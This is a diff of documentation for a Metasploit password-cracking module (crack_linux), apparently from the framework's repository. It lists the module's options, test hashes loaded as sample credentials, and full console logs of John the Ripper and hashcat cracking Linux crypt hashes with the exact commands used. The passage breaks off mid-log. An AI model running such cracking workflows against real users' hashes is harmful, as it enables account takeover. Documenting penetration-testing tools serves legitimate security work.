+                       oracle11_epsilon    S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C         Nonreplayable hash  raw-sha1,oracle
+                       oracle12c_epsilon   H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B                                                                        Nonreplayable hash  pbkdf2,oracle12c
+                       example             md5be86a79bf2043622d58d5453c47d4860                                                                                                                                                                                                                                          Postgres md5        raw-md5,postgres
+                       mssql_foo           FOO                                                                                                                                                                                                                                                                          Password            
+                       mssql05_toto        toto                                                                                                                                                                                                                                                                         Password            
+                       mysql_probe         probe                                                                                                                                                                                                                                                                        Password            
+                       mysql-sha1_tere     tere                                                                                                                                                                                                                                                                         Password            
+                       oracle11_epsilon    epsilon                                                                                                                                                                                                                                                                      Password            
+                       DEMO                epsilon                                                                                                                                                                                                                                                                      Password            
+                       oracle12c_epsilon   epsilon                                                                                                                                                                                                                                                                      Password            
+                       example             password                                                                                                                                                                                                                                                                     Password
+```
@@ -0,0 +1,664 @@
+## Vulnerable Application
+
+  This module attempts to use a password cracker to decode Linux
+  based password hashes, such as:
+
+  * `DES` based passwords
+  * `MD5` based passwords
+  * `BSDi` based passwords
+  * `bf`, `bcrypt`, or `blowfish` based passwords
+  * `SHA256` based passwords
+  * `SHA512` based passwords
+
+| Common   | John        | Hashcat |
+|----------|-------------|-------- |
+| des      | descript    | 1500    |
+| md5      | md5crypt    | 500     |
+| bsdi     | bsdicrypt   | 12400   |
+| blowfish | bcrypt      | 3200    |
+| sha256   | sha256crypt | 7400    |
+| sha512   | sha512crypt | 1800    |
+
+  Sources of hashes can be found here:
+  [source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
+
+## Verification Steps
+
+  1. Have at least one user with an `des`, `md5`, `bsdi`, `blowfish`, `sha512`, or `sha256` password hash in the database
+  2. Start msfconsole
+  3. Do: ```use auxiliary/analyze/crack_linux```
+  4. Do: set cracker of choice
+  5. Do: ```run```
+  6. You should hopefully crack a password.
+
+## Actions
+
+   **john**
+
+   Use john the ripper (default).
+
+   **hashcat**
+
+   Use hashcat.
+
+## Options
+
+   **BLOWFISH**
+
+   Crack Blowfish hashes. Default is `false`.
+
+   **BSDi**
+
+   Crack BSDi hashes. Default is `true`.
+
+   **CONFIG**
+
+   The path to a John config file (JtR option: `--config`).  Default is `metasploit-framework/data/john.conf`
+
+
+   **CRACKER_PATH**
+
+   The absolute path to the cracker executable.  Default behavior is to search `path`.
+
+   **CUSTOM_WORDLIST**
+
+   The path to an optional custom wordlist.  This file is added to the new wordlist which may include the other
+   `USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
+
+   **DES**
+
+   Crack DES hashes. Default is `true`.
+
+   **DeleteTempFiles**
+
+   This option will prevent deletion of the wordlist and file containing hashes.  This may be useful for
+   running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
+
+   **Fork**
+
+   This option will set how many forks to use on john the ripper.  Default is `1` (no forking).
+
+   **INCREMENTAL**
+
+   Run the cracker in incremental mode.  Default is `true`
+
+   **ITERATION_TIMEOUT**
+
+   The max-run-time for each iteration of cracking.
+
+   **KORELOGIC**
+
+   Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
+   Default is `false`.
+
+   **MD5**
+
+   Crack MD5 hashes. Default is `true`.
+
+   **MUTATE**
+
+   Apply common mutations to the Wordlist (SLOW).  Mutations are:
+
+   * `'@' => 'a'`
+   * `'0' => 'o'`
+   * `'3' => 'e'`
+   * `'$' => 's'`
+   * `'7' => 't'`
+   * `'1' => 'l'`
+   * `'5' => 's'`
+
+   Default is `false`.
+
+   **POT**
+
+   The path to a John POT file (JtR option: `--pot`) to use instead.  The `pot` file is the data file which
+   records cracked password hashes.  Kali linux's default location is `/root/.john/john.pot`.
+   Default is `~/.msf4/john.pot`.
+
+   **SHA256**
+
+   Crack SHA256 hashes. Default is `false`.
+
+   **SHA512**
+
+   Crack SHA12 hashes. Default is `false`.
+
+   **SHOWCOMMAND**
+
+   Show the command being used run from the command line for debugging.  Default is `false`
+
+   **USE_CREDS**
+
+   Use existing credential data saved in the database.  Default is `true`.
+
+   **USE_DB_INFO**
+
+   Use looted database schema info to seed the wordlist.  This includes the Database Name, each Table Name,
+   and each Column Name.  If the DB is MSSQL, the Instance Name is also used.  Default is `true`.
+
+   **USE_DEFAULT_WORDLIST**
+
+   Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`.  Default is
+   `true`.
+
+   **USE_HOSTNAMES**
+
+   Seed the wordlist with hostnames from the workspace.  Default is `true`.
+
+   **USE_ROOT_WORDS**
+
+   Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`.  Default
+   is true.
+
+   **WORDLIST**
+
+   Run the cracker in dictionary/wordlist mode.  Default is `true`
+
+## Scenarios
+
+### Sample Data
+
+The following is data which can be used to test integration, including adding entries
+to a wordlist and pot file to test various aspects of the cracker.
+
+```
+echo "" > /root/.msf4/john.pot
+echo "fakeV6xlcXxRM:55" >> /root/.msf4/john.pot
+echo "\$1\$O3JMY.Tw\$AdLnLjQ/5jXF9.fakegHv/:password" >> /root/.msf4/john.pot
+echo "test" > /tmp/wordlist
+echo "password" >> /tmp/wordlist
+echo "toto" >> /tmp/wordlist
+creds add user:des2_password hash:rEK1ecacw.7.c jtr:des
+creds add user:des_password hash:rEK1ecacw.7.c jtr:des
+creds add user:des_55 hash:rDpJV6xlcXxRM jtr:des
+creds add user:des_pot_55 hash:fakeV6xlcXxRM jtr:des
+creds add user:des_passphrase hash:qiyh4XPJGsOZ2MEAyLkfWqeQ jtr:des
+creds add user:md5_password hash:$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ jtr:md5
+creds add user:md52_password hash:$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ jtr:md5
+creds add user:md5_pot_password hash:$1$O3JMY.Tw$AdLnLjQ/5jXF9.fakegHv/ jtr:md5
+creds add user:bsdi_password hash:_J9..K0AyUubDrfOgO4s jtr:bsdi
+creds add user:sha256_password hash:$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5 jtr:sha256
+creds add user:sha512_password hash:$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1 jtr:sha512
+creds add user:blowfish_password hash:$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe jtr:bf
+```
+
+### John the Ripper
+
+We'll set `ITERATION_TIMEOUT 60` for a quick crack, `blowfish true`, `sha256 true`, `sha512 true` to handle the bfish, sha256 and sha512 hashes,
+and `ShowCommand true` for easy debugging.
+
+```
+resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
+CUSTOM_WORDLIST => /tmp/wordlist
+resource (hashes_hashcat.rb)> setg ShowCommand true
+ShowCommand => true
+resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
+USE_DEFAULT_WORDLIST => false
+resource (hashes_hashcat.rb)> setg DeleteTempFiles false
+DeleteTempFiles => false
+resource (hashes_hashcat.rb)> setg USE_CREDS false
+USE_CREDS => false
+resource (hashes_hashcat.rb)> setg USE_DB_INFO false
+USE_DB_INFO => false
+resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
+USE_HOSTNAMES => false
+resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
+USE_ROOT_WORDS => false
+resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
+ITERATION_TIMEOUT => 60
+resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_linux
+resource (hashes_hashcat.rb)> set blowfish true
+blowfish => true
+resource (hashes_hashcat.rb)> set sha256 true
+sha256 => true
+resource (hashes_hashcat.rb)> set sha512 true
+sha512 => true
+resource (hashes_hashcat.rb)> run
+[+] john Version Detected: 1.9.0-jumbo-1 OMP
+[*] Hashes Written out to /tmp/hashes_tmp20190531-28293-u4ihgb
+[*] Wordlist file written out to /tmp/jtrtmp20190531-28293-19rhhdd
+[*] Checking md5crypt hashes already cracked...
+[*] Cracking md5crypt hashes in single mode...
+[*]    Cracking Command: /usr/sbin/john --session=JKDS2w8U --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=md5crypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
+Using default input encoding: UTF-8
+Will run 8 OpenMP threads
+Press 'q' or Ctrl-C to abort, almost any other key for status
+1g 0:00:00:00 DONE (2019-05-31 15:20) 100.0g/s 76800p/s 76800c/s 76800C/s test3:::..tere!
+Warning: passwords printed above might not be all those cracked
+Use the "--show" option to display all of the cracked passwords reliably
+Session completed
+[*] Cracking md5crypt hashes in normal mode
+[*]    Cracking Command: /usr/sbin/john --session=JKDS2w8U --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=md5crypt --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
+Using default input encoding: UTF-8
+[*] Cracking md5crypt hashes in incremental mode...
+[*]    Cracking Command: /usr/sbin/john --session=JKDS2w8U --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=md5crypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
+Using default input encoding: UTF-8
+[*] Cracking md5crypt hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=JKDS2w8U --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=md5crypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
+Using default input encoding: UTF-8
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type  Username          Cracked Password  Method
+ -----  ---------  --------          ----------------  ------
+ 1303   md5crypt   md5_password      password          Single
+ 1304   md5crypt   md52_password     password          Single
+ 1305   md5crypt   md5_pot_password  password          Already Cracked/POT
+
+[*] Checking descrypt hashes already cracked...
+[*] Cracking descrypt hashes in single mode...
+[*]    Cracking Command: /usr/sbin/john --session=TYlIcIco --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
+Using default input encoding: UTF-8
+Will run 8 OpenMP threads
+Press 'q' or Ctrl-C to abort, almost any other key for status
+1g 0:00:00:00 DONE (2019-05-31 15:20) 100.0g/s 1102Kp/s 4410Kc/s 4410KC/s test3:::..t1900
+Warning: passwords printed above might be partial and not be all those cracked
+Use the "--show" option to display all of the cracked passwords reliably
+Session completed
+[*] Cracking descrypt hashes in normal mode
+[*]    Cracking Command: /usr/sbin/john --session=TYlIcIco --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
+Using default input encoding: UTF-8
+Will run 8 OpenMP threads
+Proceeding with single, rules:Single
+Press 'q' or Ctrl-C to abort, almost any other key for status
+3g 0:00:00:00 DONE 1/3 (2019-05-31 15:20) 300.0g/s 614200p/s 614400c/s 614400C/s des_pass..Dde_pass
+Warning: passwords printed above might be partial
+Use the "--show" option to display all of the cracked passwords reliably
+Session completed
+[*] Cracking descrypt hashes in incremental mode...
+[*]    Cracking Command: /usr/sbin/john --session=TYlIcIco --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
+Using default input encoding: UTF-8
+[*] Cracking descrypt hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=TYlIcIco --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
+Using default input encoding: UTF-8
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type  Username          Cracked Password  Method
+ -----  ---------  --------          ----------------  ------
+ 1298   descrypt   des2_password     password          Single
+ 1299   descrypt   des_password      password          Single
+ 1300   descrypt   des_55            55                Normal
+ 1301   descrypt   des_pot_55        55                Already Cracked/POT
+ 1302   descrypt   des_passphrase    passphrase        Normal
+ 1303   md5crypt   md5_password      password          Single
+ 1304   md5crypt   md52_password     password          Single
+ 1305   md5crypt   md5_pot_password  password          Already Cracked/POT
+
+[*] Checking bsdicrypt hashes already cracked...
+[*] Cracking bsdicrypt hashes in single mode...
+[*]    Cracking Command: /usr/sbin/john --session=24lUijDR --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bsdicrypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
+Using default input encoding: UTF-8
+Will run 8 OpenMP threads
+Press 'q' or Ctrl-C to abort, almost any other key for status
+1g 0:00:00:00 DONE (2019-05-31 15:20) 50.00g/s 102400p/s 102400c/s 102400C/s test3:::..Tere6
+Use the "--show" option to display all of the cracked passwords reliably
+Session completed
+[*] Cracking bsdicrypt hashes in normal mode
+[*]    Cracking Command: /usr/sbin/john --session=24lUijDR --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bsdicrypt --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
+Using default input encoding: UTF-8
+[*] Cracking bsdicrypt hashes in incremental mode...
+[*]    Cracking Command: /usr/sbin/john --session=24lUijDR --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bsdicrypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
+Using default input encoding: UTF-8
+[*] Cracking bsdicrypt hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=24lUijDR --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bsdicrypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
+Using default input encoding: UTF-8
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type  Username          Cracked Password  Method
+ -----  ---------  --------          ----------------  ------
+ 1298   descrypt   des2_password     password          Single
+ 1299   descrypt   des_password      password          Single
+ 1300   descrypt   des_55            55                Normal
+ 1301   descrypt   des_pot_55        55                Already Cracked/POT
+ 1302   descrypt   des_passphrase    passphrase        Normal
+ 1303   md5crypt   md5_password      password          Single
+ 1304   md5crypt   md52_password     password          Single
+ 1305   md5crypt   md5_pot_password  password          Already Cracked/POT
+ 1306   bsdicrypt  bsdi_password     password          Single
+
+[*] Checking bcrypt hashes already cracked...
+[*] Cracking bcrypt hashes in single mode...
+[*]    Cracking Command: /usr/sbin/john --session=YCMwoPbH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bcrypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
+Using default input encoding: UTF-8
+Will run 8 OpenMP threads
+Press 'q' or Ctrl-C to abort, almost any other key for status
+1g 0:00:00:00 DONE (2019-05-31 15:20) 33.33g/s 2400p/s 2400c/s 2400C/s test3:::..test::0
+Use the "--show" option to display all of the cracked passwords reliably
+Session completed
+[*] Cracking bcrypt hashes in normal mode
+[*]    Cracking Command: /usr/sbin/john --session=YCMwoPbH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bcrypt --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
+Using default input encoding: UTF-8
+[*] Cracking bcrypt hashes in incremental mode...
+[*]    Cracking Command: /usr/sbin/john --session=YCMwoPbH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bcrypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
+Using default input encoding: UTF-8
+[*] Cracking bcrypt hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=YCMwoPbH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bcrypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
+Using default input encoding: UTF-8
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type  Username           Cracked Password  Method
+ -----  ---------  --------           ----------------  ------
+ 1298   descrypt   des2_password      password          Single
+ 1299   descrypt   des_password       password          Single
+ 1300   descrypt   des_55             55                Normal
+ 1301   descrypt   des_pot_55         55                Already Cracked/POT
+ 1302   descrypt   des_passphrase     passphrase        Normal
+ 1303   md5crypt   md5_password       password          Single
+ 1304   md5crypt   md52_password      password          Single
+ 1305   md5crypt   md5_pot_password   password          Already Cracked/POT
+ 1306   bsdicrypt  bsdi_password      password          Single
+ 1309   bcrypt     blowfish_password  password          Single
+
+[*] Checking sha256crypt hashes already cracked...
+[*] Cracking sha256crypt hashes in single mode...
+[*]    Cracking Command: /usr/sbin/john --session=XVDR4pAU --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha256crypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
+Using default input encoding: UTF-8
+Will run 8 OpenMP threads
+Press 'q' or Ctrl-C to abort, almost any other key for status
+1g 0:00:00:00 DONE (2019-05-31 15:20) 2.173g/s 8904p/s 8904c/s 8904C/s test3:::..1foo
+Use the "--show" option to display all of the cracked passwords reliably
+Session completed
+[*] Cracking sha256crypt hashes in normal mode
+[*]    Cracking Command: /usr/sbin/john --session=XVDR4pAU --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha256crypt --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
+Using default input encoding: UTF-8
+[*] Cracking sha256crypt hashes in incremental mode...
+[*]    Cracking Command: /usr/sbin/john --session=XVDR4pAU --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha256crypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
+Using default input encoding: UTF-8
+[*] Cracking sha256crypt hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=XVDR4pAU --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha256crypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
+Using default input encoding: UTF-8
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type    Username           Cracked Password  Method
+ -----  ---------    --------           ----------------  ------
+ 1298   descrypt     des2_password      password          Single
+ 1299   descrypt     des_password       password          Single
+ 1300   descrypt     des_55             55                Normal
+ 1301   descrypt     des_pot_55         55                Already Cracked/POT
+ 1302   descrypt     des_passphrase     passphrase        Normal
+ 1303   md5crypt     md5_password       password          Single
+ 1304   md5crypt     md52_password      password          Single
+ 1305   md5crypt     md5_pot_password   password          Already Cracked/POT
+ 1306   bsdicrypt    bsdi_password      password          Single
+ 1307   sha256crypt  sha256_password    password          Single
+ 1309   bcrypt       blowfish_password  password          Single
+
+[*] Checking sha512crypt hashes already cracked...
+[*] Cracking sha512crypt hashes in single mode...
+[*]    Cracking Command: /usr/sbin/john --session=nJBNk8dS --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha512crypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
+Using default input encoding: UTF-8
+Will run 8 OpenMP threads
+Press 'q' or Ctrl-C to abort, almost any other key for status
+1g 0:00:00:00 DONE (2019-05-31 15:20) 4.545g/s 4654p/s 4654c/s 4654C/s test3:::..test2::k
+Use the "--show" option to display all of the cracked passwords reliably
+Session completed
+[*] Cracking sha512crypt hashes in normal mode
+[*]    Cracking Command: /usr/sbin/john --session=nJBNk8dS --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha512crypt --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
+Using default input encoding: UTF-8
+[*] Cracking sha512crypt hashes in incremental mode...
+[*]    Cracking Command: /usr/sbin/john --session=nJBNk8dS --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha512crypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
+Using default input encoding: UTF-8
+[*] Cracking sha512crypt hashes in wordlist mode...
+[*]    Cracking Command: /usr/sbin/john --session=nJBNk8dS --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha512crypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
+Using default input encoding: UTF-8
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type    Username           Cracked Password  Method
+ -----  ---------    --------           ----------------  ------
+ 1298   descrypt     des2_password      password          Single
+ 1299   descrypt     des_password       password          Single
+ 1300   descrypt     des_55             55                Normal
+ 1301   descrypt     des_pot_55         55                Already Cracked/POT
+ 1302   descrypt     des_passphrase     passphrase        Normal
+ 1303   md5crypt     md5_password       password          Single
+ 1304   md5crypt     md52_password      password          Single
+ 1305   md5crypt     md5_pot_password   password          Already Cracked/POT
+ 1306   bsdicrypt    bsdi_password      password          Single
+ 1307   sha256crypt  sha256_password    password          Single
+ 1308   sha512crypt  sha512_password    password          Single
+ 1309   bcrypt       blowfish_password  password          Single
+
+[*] Auxiliary module execution completed
+resource (hashes_hashcat.rb)> creds
+Credentials
+===========
+
+host  origin  service  public             private                                                                                             realm  private_type        JtR Format
+----  ------  -------  ------             -------                                                                                             -----  ------------        ----------
+                       des2_password      rEK1ecacw.7.c                                                                                              Nonreplayable hash  des
+                       des_password       rEK1ecacw.7.c                                                                                              Nonreplayable hash  des
+                       des_55             rDpJV6xlcXxRM                                                                                              Nonreplayable hash  des
+                       des_pot_55         fakeV6xlcXxRM                                                                                              Nonreplayable hash  des
+                       des_passphrase     qiyh4XPJGsOZ2MEAyLkfWqeQ                                                                                   Nonreplayable hash  des
+                       md5_password       $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/                                                                         Nonreplayable hash  md5
+                       md52_password      $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/                                                                         Nonreplayable hash  md5
+                       md5_pot_password   $1$O3JMY.Tw$AdLnLjQ/5jXF9.fakegHv/                                                                         Nonreplayable hash  md5
+                       bsdi_password      _J9..K0AyUubDrfOgO4s                                                                                       Nonreplayable hash  bsdi
+                       sha256_password    $5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5                                                    Nonreplayable hash  sha256
+                       sha512_password    $6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1         Nonreplayable hash  sha512
+                       blowfish_password  $2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe                                               Nonreplayable hash  bf
+                       md5_pot_password   password                                                                                                   Password            
+                       md5_password       password                                                                                                   Password            
+                       md52_password      password                                                                                                   Password            
+                       des_pot_55         55                                                                                                         Password            
+                       des2_password      password                                                                                                   Password            
+                       des_password       password                                                                                                   Password            
+                       des_55             55                                                                                                         Password            
+                       des_passphrase     passphrase                                                                                                 Password            
+                       bsdi_password      password                                                                                                   Password            
+                       blowfish_password  password                                                                                                   Password            
+                       sha256_password    password                                                                                                   Password            
+                       sha512_password    password                                                                                                   Password
+```
+
+### Hashcat
+
+We'll set `ITERATION_TIMEOUT 60` for a quick crack, `blowfish true`, `sha256 true`, `sha512 true` to handle the bfish, sha256 and sha512 hashes,
+and `ShowCommand true` for easy debugging.
+
+```
+resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
+CUSTOM_WORDLIST => /tmp/wordlist
+resource (hashes_hashcat.rb)> setg ShowCommand true
+ShowCommand => true
+resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
+USE_DEFAULT_WORDLIST => false
+resource (hashes_hashcat.rb)> setg DeleteTempFiles false
+DeleteTempFiles => false
+resource (hashes_hashcat.rb)> setg USE_CREDS false
+USE_CREDS => false
+resource (hashes_hashcat.rb)> setg USE_DB_INFO false
+USE_DB_INFO => false
+resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
+USE_HOSTNAMES => false
+resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
+USE_ROOT_WORDS => false
+resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
+ITERATION_TIMEOUT => 60
+resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_linux
+resource (hashes_hashcat.rb)> set blowfish true
+blowfish => true
+resource (hashes_hashcat.rb)> set sha256 true
+sha256 => true
+resource (hashes_hashcat.rb)> set sha512 true
+sha512 => true
+resource (hashes_hashcat.rb)> set action hashcat
+action => hashcat
+resource (hashes_hashcat.rb)> run
+[+] hashcat Version Detected: v5.1.0
+[*] Hashes Written out to /tmp/hashes_tmp20190531-28535-hi2lkf
+[*] Wordlist file written out to /tmp/jtrtmp20190531-28535-47c707
+[*] Checking md5crypt hashes already cracked...
+[*] Cracking md5crypt hashes in incremental mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=p5KJBBFs --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=500 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking md5crypt hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=p5KJBBFs --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=500 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf /tmp/jtrtmp20190531-28535-47c707
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type  Username          Cracked Password  Method
+ -----  ---------  --------          ----------------  ------
+ 1327   md5crypt   md5_password      password          Wordlist
+ 1328   md5crypt   md52_password     password          Wordlist
+ 1329   md5crypt   md5_pot_password  password          Already Cracked/POT
+
+[*] Checking descrypt hashes already cracked...
+[*] Cracking descrypt hashes in incremental mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=8qLTJwqG --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1500 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking descrypt hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=8qLTJwqG --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1500 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf /tmp/jtrtmp20190531-28535-47c707
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[+] Cracked Hashes
+==============
+
+ DB ID  Hash Type  Username          Cracked Password  Method
+ -----  ---------  --------          ----------------  ------
+ 1322   descrypt   des2_password     password          Wordlist
+ 1323   descrypt   des_password      password          Wordlist
+ 1324   descrypt   des_55            55                Incremental
+ 1325   descrypt   des_pot_55        55                Already Cracked/POT
+ 1327   md5crypt   md5_password      password          Wordlist
+ 1328   md5crypt   md52_password     password          Wordlist
+ 1329   md5crypt   md5_pot_password  password          Already Cracked/POT
+
+[*] Checking bsdicrypt hashes already cracked...
+[*] Cracking bsdicrypt hashes in incremental mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=RShDcHzl --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12400 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[*] Cracking bsdicrypt hashes in wordlist mode...
+[*]    Cracking Command: /usr/bin/hashcat --session=RShDcHzl --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12400 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf /tmp/jtrtmp20190531-28535-47c707
+nvmlDeviceGetFanSpeed(): Not Supported
+
+[+] Cracked Hashes
+==============
+
